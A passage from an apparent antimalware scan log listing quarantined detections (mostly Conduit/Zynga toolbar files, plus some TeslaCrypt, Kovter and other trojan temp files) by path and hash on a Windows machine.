    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\script, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\style, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\style\rsx, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\img, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\core, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\images, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.jscrollpane, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\sl, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\components, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\components\mam, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\ctypes, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\defaults, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\defaults\preferences, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\lib, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\META-INF, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\modules, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Plugins, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],

    Files: 500
    Ransom.FileLocker, C:\Documents and Settings\Geny\Local Settings\Temp\1860.tmp, Quarantined, [4671c4ba305b2e081ccc7620dd2456aa],
    Ransom.FileLocker, C:\Documents and Settings\Geny\Local Settings\Temp\185D.tmp, Quarantined, [13a4f68882090f275d8b098d3cc5bd43],
    Ransom.FileLocker, C:\Documents and Settings\Geny\Local Settings\Temp\185E.tmp, Quarantined, [338492ec7318a98d7474375fbf42649c],
    Ransom.FileLocker, C:\Documents and Settings\Geny\Local Settings\Temp\185F.tmp, Quarantined, [4a6dbdc1f299fe3800e8d4c29968857b],
    Trojan.Kovter, C:\Documents and Settings\Geny\Local Settings\Temp\8C2.tmp, Quarantined, [cfe83a44b1da58de5c257f257988fe02],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\8ED.tmp, Quarantined, [d7e0d8a63e4d9a9c02d8a3a35fa1a25e],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\8EE.tmp, Quarantined, [c0f7f787a4e7f73f1ac0de68dc24f30d],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\9F9.tmp, Quarantined, [8c2b98e6e2a93600178be2645da3f709],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\9FA.tmp, Quarantined, [eccb413dc9c254e2980a7ec81ae61ee2],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\9FE.tmp, Quarantined, [e4d36b131477ee481a88cf77ba466997],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\A01.tmp, Quarantined, [0fa8fe800487a5915c46ae98bc448080],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\A04.tmp, Quarantined, [ddda1668d8b384b2752d3214ab5534cc],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\A05.tmp, Quarantined, [486f176796f5e551c4debc8a619ffc04],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\A44.tmp, Quarantined, [4a6d59251f6c39fd871ba4a2d7299868],
    Ransom.TeslaCrypt, C:\Documents and Settings\Geny\Local Settings\Temp\A45.tmp, Quarantined, [5067d1ada6e5fe38732f3115d927768a],
    Trojan.Agent, C:\Documents and Settings\Geny\Local Settings\Temp\1D06.tmp, Quarantined, [eec98bf3bfccce6868779eab4db3718f],
    Trojan.Agent, C:\Documents and Settings\Geny\Local Settings\Temp\1D08.tmp, Quarantined, [9e1986f8880396a0746bae9b6c94d62a],
    Trojan.Agent, C:\Documents and Settings\Geny\Local Settings\Temp\20A6.tmp, Quarantined, [16a10777b4d751e5ac33fa4fc23e44bc],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Conduit\CT2438727\ZyngaAutoUpdaterHelper.exe, Quarantined, [922592eccebd59dd9efbbcb7f70d619f],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\hk64tbZyn0.dll, Quarantined, [9c1bafcf92f996a03b5e670cee165aa6],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\hk64tbZyn2.dll, Quarantined, [f9be324c583353e35247beb519eb9c64],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\hktbZyn0.dll, Quarantined, [f0c74a3449426bcb4c4d284b10f4be42],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\hktbZyn2.dll, Quarantined, [882fdf9f3754aa8c36630c67ad57ce32],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\ldrtbZyn0.dll, Quarantined, [f5c28fefa6e58fa70c8d482bb15312ee],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\ldrtbZyn2.dll, Quarantined, [e7d03d41c5c6fb3ba6f36112d82cda26],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\tbZyn0.dll, Quarantined, [b5024539f59684b220793b3837cdfb05],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga\tbZyn2.dll, Quarantined, [2691324cf7946acc524782f1e71d34cc],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\hk64tbZyn0.dll, Quarantined, [9126bcc22f5ca195168394df8084c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\hk64tbZyn2.dll, Quarantined, [9e19621c09824beb8019a1d228dc9070],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\hktbZyn0.dll, Quarantined, [55625c22642780b6a5f489ea5fa505fb],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\hktbZyn2.dll, Quarantined, [4a6db7c7a1ea5cda18817ff418ec936d],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\ldrtbZyn0.dll, Quarantined, [b6010e70deadcd696f2adb9815ef02fe],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\ldrtbZyn2.dll, Quarantined, [a314ff7f850625115d3c076c23e19868],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\tbZyn0.dll, Quarantined, [af08e19d99f2fa3c7f1af87bb54f7d83],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zynga\tbZyn2.dll, Quarantined, [2790e39ba6e5d85e1188ed86956ff10f],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alertDB.sqlite, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\servicesMap.json, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\DialogsAPI.js, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\PIE.htc, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\settings.js, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\version.txt, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\alertapi.js, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\AppNotification.js, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\initialNotification.html, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\main.html, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\NotificationDialogStyle.css, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\NotificationDialogStyleIE9.css, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\sampleNotification.html, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\arrow-left.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\arrow-right.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\close.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\like.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\Next.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\Next_hover.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\powered-by.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\Prev.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\Prev_hover.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\settings.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\alert\Dialogs\AppNotificationDialog\Images\Thumbs.db, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_27_243_CT2438727_Images_634047717512341250.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_27_243_CT2438727_Images_634047717845935000.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_27_243_CT2438727_Images_Blank.png, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_27_243_CT2438727_Images_ConnectionError.gif, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_7_176_CT1764407_Images_634219899986281250.gif, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduit\cachedIcons\http___storage_conduit_com_images_skins_zynga_seperator.gif, Quarantined, [03b4b9c5107b3df94714b8a011f1c23e],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\notificationDB.sqlite, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\servicesMap.json, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\DialogsAPI.js, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\PIE.htc, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\settings.js, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\version.txt, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\AppNotification.js, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\initialNotification.html, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\main.html, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\NotificationDialogStyle.css, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\NotificationDialogStyleIE9.css, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\sampleNotification.html, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\close.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\like.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\Next.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\Next_hover.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\powered-by.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\Prev.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\Prev_hover.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\settings.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\alert\Dialogs\AppNotificationDialog\Images\Thumbs.db, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\cachedIcons\http___storage_conduit_com_27_243_CT2438727_Images_Blank.png, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Chat.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\DataStructures.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\EBEncryption.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\ExternalLibraryLoader.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\HTTP.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\IO.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Log.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
